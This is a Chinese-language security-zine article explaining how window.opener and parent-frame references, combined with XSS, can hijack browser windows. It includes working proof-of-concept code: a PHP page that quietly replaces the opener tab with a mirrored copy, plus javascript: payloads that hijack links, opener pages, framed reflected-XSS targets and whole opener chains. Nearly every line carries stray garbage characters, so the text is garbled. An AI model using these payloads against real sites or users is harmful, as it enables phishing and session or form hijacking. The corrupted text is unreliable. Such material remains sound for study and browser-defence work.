==Ph4nt0m Security Team==
3 v3 Z6 C4 G* Y+ H 2 F# Y7 `1 @5 a+ _& V8 H
Issue 0x03, Phile #0x05 of 0x070 ~+ y/ b. M$ {6 Q, ~3 m
( J7 a1 b t& ` B3 y8 z* V+ p% c2 Q! d* |
|=---------------------------------------------------------------------------=|- N4 K9 M r, E e
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
c+ K5 D$ r' w; O( k0 K6 `; p( t1 L|=---------------------------------------------------------------------------=|
7 X. M1 C% x* {6 b% ^% O|=---------------------------------------------------------------------------=|8 _/ o1 w; J3 P! e, i( {; {
|=------------------------=[ By rayh4c ]=---------------------------=| w* X0 I3 E" ^" v* r4 G
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
" n8 F- [4 P3 W( q, p+ ?! f|=---------------------------------------------------------------------------=|( `: s" T* F& E* S. g r. C
# J1 w6 M5 S+ Y$ p
. ^5 t5 i3 Q6 J) B$ N" x[目录]
8 r; d$ M% d( h' [4 G" {
7 d' ~# A$ W: u1. 前言& B7 D7 l ^; ~
2. 同源策略简叙
9 l+ w0 N0 z6 l" S) {' a9 s3. 理解window对象的同源策略
# I+ W& _# M: F1 G1 j8 @5 ~4. 窗口引用功能中的同源策略漏洞
; t: P; j" l- M- ~/ z1 N4 i 4.1 父窗口引用子窗口的同源策略问题
4 u: ]* q) @( ^1 |0 X 4.2 子窗口引用父窗口的同源策略问题 |3 S! H# H% m- J% s- e# W
5. 利用窗口引用漏洞劫持浏览器0 A5 }2 m- p8 Z s- Q% D4 d
6. 利用XSS漏洞劫持浏览器
R' R0 _. |+ L j, P. ^ 6.1 正向跨窗口劫持
( L1 U; T5 N* @' ?- ?* k 6.2 反向跨窗口劫持: Z. G, @6 C; l' E. [5 v e
6.3 极度危险的跨框架窗口引用劫持8 E% C2 _4 Q/ N0 c! J
6.4 极度危险的正反向跨窗口递归劫持: O/ \; s1 t4 o; Y
6.5 完全控制浏览器
5 c+ ^2 t3 D: @ V8 t/ _7. 后记
9 b, o8 b' T+ a% ~5 z6 ?8. 参考
# Q7 |; j1 v* w" k9 Y0 h: Y1 h3 U2 m& ~
, {; |4 w$ }/ U/ s3 t4 i, @9 ~) z I0 z
一、前言8 ?& M. i1 u" D6 z
2 m/ O4 X5 H C2 q+ k: a6 l/ `% [
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
+ X& f' S9 o/ d5 I: U7 N9 g" i友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
3 E0 m9 w/ a9 _ Q6 x劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
9 O/ G4 ^. X$ Y8 r$ P条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
: c3 |+ K( d$ G( l) r ^$ J( F* m6 X! J5 z, O
}- l2 \, ~' L# o二、同源策略简叙
! w- C3 g! E, l. N
! [# I: b2 M N6 W1 x0 Y% N" v+ W* b 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
5 E% B! B3 O4 O9 J从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都& X1 A/ g# { |6 a4 r! K6 E$ l
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
1 H2 I" d6 @- z& @+ K1 x马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
' B+ d" H; F' c漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。6 ~; |* ?. T" M- R
& l- F6 B5 M8 c% S4 g
% l" H% F& g3 c" d$ i# b三、理解window对象的同源策略5 ?7 x$ e9 @, g; G' w }! [+ a) p
% o1 l* |) ]) b 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对( K5 l* j# G c B; _
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:& K4 r" M9 [9 @( Z1 b
, s+ e! P2 y) S- M, P5 Y+ m--code-------------------------------------------------------------------------1 W+ Q. u3 c& O* W8 D
<script language="javascript">
$ Z* M; ^4 N [; Dfor(p in window) document.write(p+"<br>"); o& _9 @2 j" v+ \/ U
</script>
& N; x# A; B- W0 ^& v8 c-------------------------------------------------------------------------------, ^2 O$ J$ u& g! @/ e5 w
0 A! u: N8 G, \1 j/ b9 r
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方, n% T7 X" T# Q; f5 [9 E$ O
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,+ t, _- S, r5 w# l8 d0 S- ^) V7 g2 G
这些属性和方法就必须遵循同源策略。( v0 n( C, J$ u: S( Y
% K) P) B, V8 r# ` 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
8 j' ^* f# H [6 K4 D( w! J么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须% z" ^$ O D8 ^, [
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
! k' I, r. O% s个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
8 l- m1 n& k) ^4 Z9 ]值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location! L( I# e u0 D3 G! a- I* N
属性并没有被拒绝访问。
4 D5 z; e U! \, c$ _8 u4 `( Q
7 Y0 H$ t' A5 B1 ~, ~0 F4 K2 K1 {--demo.html--------------------------------------------------------------------
: }+ {, ]8 t* @( Y* J<script language="javascript">
' B1 I! X2 S! Xfunction allPrpos(obj) {
6 J2 s% s6 g0 S L var props = "<table><tr><td>名称</td><td>值</td>";
7 T5 F0 L _2 I1 M8 [8 u' I* n for(var p in obj){ ' ~: e1 N/ n- I3 W
if(typeof(obj[p])=="function"){
( ^! f1 ~" Z8 a, b obj[p](); 2 y8 b2 }: J( |4 a. ?9 i) k4 Z
}else{
4 y( s/ O* N: x, G, k try
% S( N$ k+ R8 ^ D% e {
, c% ~9 ^, }- D: J4 p7 v props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; : @( q* [5 V& k! {9 Y7 S* _. \" P
}
3 I* g( [7 h+ E! G% | catch (ex) - L* Z1 x/ q& }. f q- ?$ ?
{ 2 ~0 G* Z' S6 W- |* z5 D
. X6 D, a- G; j* B( a9 N8 {! l4 a props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; / I. z4 K- A' d" c6 g, @9 _! r
}
% l, k5 i( {* } , b6 x; N$ f8 w7 u$ v+ S5 o8 t2 t/ d
} ( o, l* z' c, }) d; N
} 6 ^1 R. h C- a4 @; M/ _
; K C3 {8 V" ~6 |6 V/ d8 Q2 u
document.write(props+"</table>");
& Y A$ h" {; [* m) o} 7 U7 v) k3 q, M8 ?1 d# |
! ?% A, k: h# t1 o( `( ]: Dfunction createWin() {; v/ t6 t1 F5 z$ O* f1 w8 \9 o
newWin = window.open ("http://www.google.com");
' f Y- R' o8 R" r2 V! |3 M setTimeout(function(){allPrpos(newWin)},2000);
4 X# H( s* d+ a, o7 `5 ~! Y}
6 A9 w* z+ A. ~! g) M* P( _+ P4 |" T0 [5 G& k8 y3 G6 ^
</script> : I' t1 a, `4 V4 g) J
0 _8 H$ A, h1 d% s5 t& q<button onclick='createWin()'>创建一个非同源子窗口测试</button>
( y* k8 o: y9 K& J y-------------------------------------------------------------------------------+ X; q( |2 ]# n! ]- I; V, `
% J# P X, N% a6 B v" ~
, l4 T' V+ \# M! X$ Q! S四、窗口引用功能中的同源策略漏洞3 O1 R* z: A% ^
. m1 ^) h; E% N/ s4.1 父窗口引用子窗口的同源策略问题
6 J" P& t: n+ R: S' F2 O ~& k! N& a- ` A% D
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,8 y2 j* w: t5 f2 h: c7 O' A2 x) c
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道. W; G. m4 G0 ?! b' V3 _0 q
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进# E$ O. [/ }1 M$ n
行测试,会发现父窗口可以控制非同源子窗口location属性值。: l5 K9 O. W( {3 H% X3 D1 L2 K
- E; V( L8 D" h; d2 K, f--vul1.html--------------------------------------------------------------------
; C, H* d5 T1 ?1 z<script language="javascript"> 3 l, O# t. l3 l! d, f, O3 R" G
function createWin() { 7 o( a) G% i& U% `$ w' H# j
newWin = window.open ("http://www.google.com");
( @& w7 x3 M2 `6 ]/ Q+ L2 A setTimeout(function(){newWin.location="http://www.80sec.com"},2000); # c' i; h9 t# y8 A1 }
}
3 A. {. C r- c7 L* w</script>& B9 K( a1 I1 h% g8 U2 I q$ D
( W( q, |8 P/ f/ N& ?6 u, B) u<button onclick='createWin()'>创建一个非同源子窗口测试</button># `% @4 i# y; }; s7 @( v
-------------------------------------------------------------------------------
! q) [# [2 K6 x& ^# s$ i' A3 u3 z; W1 h) I# L' R- y
+ j" X% F* i: M9 Y0 j, z' Y
4.2 子窗口引用父窗口的同源策略问题5 r0 k# |6 E# h* B; f# t: E
" F3 f3 D+ ]" H- B0 K5 C( ^% l
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使. o: ^6 {9 n: c8 ^" {
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
3 k& o% \3 _: A- y8 U2 e* a# @可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
& y# C( ~+ g& O m1 R会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。1 j1 C8 ]5 w# L4 \/ w, }. H
" b3 K L9 q9 n- e! q8 E2 q
--code-------------------------------------------------------------------------
8 z5 G, {! I4 z% C3 Y8 G& S% m* z/ @0 V$ B7 u- O- C d8 V7 q
javascript:window.opener.location = "http://www.80sec.com";void(0);, L; X3 j6 z0 X2 E& o5 k; V- z
5 P" r, s" T {# U0 c, K-------------------------------------------------------------------------------; @0 d. [2 {# y5 @1 S0 Q
4 y0 }( O' Q5 G! ]5 s
* w: ]6 ?+ T' `. g五、利用窗口引用漏洞劫持浏览器* t+ @9 M. k- Y
& ]0 G+ ~6 L7 a/ o$ z P: m% s1 t1 E. L
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子2 E7 A" {. }' \; P+ m% I- t
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那/ U: c! ^8 V w5 W1 m
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
9 K! c1 @: H+ ^! N
b3 ]/ F7 p1 x d" Y" f 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产0 N @4 h- l) K: G* O$ V3 L. N
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或, i$ E( G% r& S) o, V, W9 r
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接- h% Y( S( X& [6 T5 k0 d2 l( _
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下( [& u8 V* `! B
会产生什么可怕的后果。: q4 k& z' R: c3 y7 [
) Y, v! V4 W9 ~ 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
' v6 ?- i" _8 I. I# \4 O7 {* B们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php' Q5 l" |0 x. z" Q) G: M. N8 J
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时, _1 i- A- P! Z; c( L& a9 w
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可6 ]& z7 C8 u- F4 M4 r3 l5 u' k
以做更多的事情,所有的一切仅仅是因为点击了一个链接。, }9 Z; u6 [. w% @$ u
3 q8 x4 n* @2 U$ H4 s. }, ]
--hjk_ref.php------------------------------------------------------------------
u# R5 P, b+ |: ]3 y' }<?php
- C$ s2 u4 L9 I* _- U) `8 O3 wif (array_key_exists("HTTP_REFERER", $_SERVER)) {
, T: @* K5 U0 ^+ u3 c$Url_Mirror = $_SERVER["HTTP_REFERER"];2 G* N) r$ d, M q$ B
} / ?/ H9 @' K# u! R- U& t
if(isset ($_GET['ref'])) {3 K) x, J$ t& X3 T5 U9 N
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';" C) S6 V! i2 U2 G1 g7 W; Z
}
% X0 ^7 i# ?' b5 d- M" R G?>
; W9 i9 c( O4 q
4 a/ G& x$ |6 r$ v<script language="javascript">
8 T6 V1 q6 B) f& t! OsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); 1 p( z, f$ a% W- z4 F
</script>3 D0 l' S$ U9 h5 x: s
-------------------------------------------------------------------------------9 Y- [. h' V3 \* g2 |& U9 t
* \+ X2 P9 N+ `3 L1 M# h8 p3 A
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。/ U* d0 M$ R# A/ M% p+ R- k6 o
" d# k: ^3 {, ^- s7 T9 [& p' _) Y) z: r4 r, F
六、利用XSS漏洞劫持浏览器( J8 s+ |. Z4 Y$ \
5 `5 e) r6 f+ n0 a2 h1 } 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
9 o$ S6 x% _! a* c* F. Y持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后8 ^6 [: M# a. }, k9 v
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
6 J, _" D: p- F) [9 E; E, O讨论跨站师的终极技巧:! a& g E$ ?, K' _0 d
, b q/ [: g- p0 F6 K5 c5 i/ K9 G
4 D8 M4 a9 ^; `$ `# l A6.1 正向跨窗口劫持 }, D' w% J2 {( _1 _
6 K4 N5 m, M6 ^, R5 ~, d0 E 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛: c, P5 N8 ?6 Q8 X7 A
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
% p; I8 U# o, A接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话5 v# X# v& r9 U9 Q! ~1 N( q9 l% ?
框脚本。
2 Z5 `2 I$ I. c9 a( Z) Z) Z9 P- z$ K1 n- J Q5 F
--hijack_open.js---------------------------------------------------------------
8 k( E; l- c- `5 a( f i' {1 L: j C9 `; I1 f9 S2 a$ f
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);# U3 Q" l8 u6 |9 b% l6 y3 t
" Y( a" v. `' K/ ?
-------------------------------------------------------------------------------3 F: a0 K0 _4 W5 Q
* X' R6 g9 [+ S; o
# u- t5 Y$ I2 Y# y
6.2 反向跨窗口劫持
3 `8 s! p# r: Z {8 {# n, s5 A: [7 N2 N5 c" o
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代2 \+ [& T2 A! X7 |) I2 s: j
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
$ I: c* W4 [3 C4 N框脚本。% E! c* o8 I+ ?+ R: V. a
$ f2 a) A# ~1 I3 ^
--hijack_opener.js-------------------------------------------------------------1 Z1 ^! `9 {% W
, ?; X$ q7 F0 J N8 Zjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);# U0 m5 X. x: k& A7 }8 R
& v! a; K: Y; j4 X: L. e& A-------------------------------------------------------------------------------
4 Z' {8 a1 l# X1 p1 L V: R# u! C* t+ f0 N
' ?* v( P- r9 S9 V4 _$ o
6.3 极度危险的跨框架窗口引用劫持
/ I. @; h3 n: m, ?
' ?; j: W% R- }$ O5 z) ^! e( g 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞+ j$ q- g0 ^( g; V M) ]! |3 D% I
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就0 Y1 l' [1 _" K# {
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个0 N) V0 Z( v/ {
非持久型的XSS,如下:& P0 A# X( r- w1 f1 t
! H: ]3 C6 w: t
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>5 E3 P4 j: b _
; Z2 F6 g! G; t# C4 p8 @ 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口7 N. h# p0 X3 r+ P. J" C
注入脚本。+ z3 z% X; n& \9 {) ^
4 G L g3 J: b! ~/ a
--hijack_frame_opener.js-------------------------------------------------------" a9 c- Y: [& d1 z4 d
<script>( d2 H9 ]* v5 R! h+ h
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
% L% c4 z- | ?2 t: y. F a</script>$ e$ ~+ ]( @ X; N9 {( q. e
-------------------------------------------------------------------------------
3 x' x6 E t% q1 g' ^' J" e9 z0 T: c: o( V
2 \0 C3 o9 m+ A( n; y; _: ?) T
6.4 极度危险的正反向跨窗口递归劫持* c8 K/ l* [) ~$ a( X
6 \2 e, V# x- X* U" b B( U
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window+ X3 Y. f/ |1 k9 K8 z
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过/ I. f4 y1 n! @4 Q# Q% R& G5 I
异常处理规避之间跨域页面的访问异常,代码如下:
# P* Z8 P% m" U* Z7 ^( y. k2 R/ I" }0 b6 V4 C
--code-------------------------------------------------------------------------
' F8 r8 s9 R+ J. b# `3 N
( } V$ a* C1 p! Y+ n; {9 ?javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);' n- Z& b0 U/ z' P1 y% P! m( h r( r
2 ]4 J c, ?" P7 d {5 y# ]+ d3 C-------------------------------------------------------------------------------9 `/ T9 i( X D5 d2 _( y
0 l/ a; z& @4 l# A
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可$ z+ n) W1 g" f' c# j9 x. [( k
以劫持B域之前的A域页面,从而实现“隔空打击”。2 k+ _/ F+ V* s j* E1 ]: L5 i
$ }+ Q& ]% V$ }* t0 r
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
z: y" E# ~! W/ e2 w* i执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
. I2 }& J( X' M+ C( K
: F; G& Z& H/ e 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。0 r5 D& I ^, W4 W0 |/ c4 k
( z; r5 e( U- V# \; A
9 H5 G4 E& p* J% l `3 `9 T8 |6.5 完全控制浏览器' ?" q" z a8 i7 i Z
' E! \. V; d2 C- A
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
: d) Y1 N* _( ?# N: L是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
) q, r7 P. j+ h7 j' N漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
" u2 r2 x, v. W v* m3 L而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
4 R$ c% e( ]; `8 B5 O列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
c5 ~ Z3 Z9 c. E% p- G师的终极目标 - 完全控制浏览器。
8 f7 p/ p6 w' L$ p! ~. I; Y/ o/ q2 c1 I& W: ]' ^1 y
3 ]3 a1 o6 `* v0 k2 r七、后记" l' j1 V* ~" i# \( }7 u5 B: m+ Y( T
% X5 G* i1 p% E
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全* J" m4 n' F* J+ ]9 H8 N" {. [
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
8 z; j% b9 y$ U+ r9 g/ @过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。0 f D. Z1 x7 N# \9 n' y
' o. P+ E: U. Z% I) E2 Q
# ~! x/ I2 O1 [ j2 s3 S+ s5 {% o! p
八、参考9 P5 G- W( S) c. a7 l$ M" W
$ R4 C# ^. c& [) n4 k/ u% o% B# t1. http://en.wikipedia.org/wiki/Same_origin_policy
' ]1 N( Y9 h- C [% q$ _2 H4 f1 M' w2. http://code.google.com/p/browser ... licy_for_DOM_access8 ~% Y" k( `. L; `' a% w
3. http://www.w3.org/TR/Window/
4 g0 v, I, {, Y8 | ~2 P4. http://www.80sec.com/release/browser-hijacking.txt
+ i$ s) u5 b# _# ~" K5. http://www.80sec.com/all-browser-security-alert.html
% ]/ r! M; o6 q1 {/ H( B6. http://www.80sec.com/ms08-058-attacks-google.html
: |9 R( U6 Z) S4 v9 J/ ]9 r. u
: ]" c) L6 h1 M-EOF- |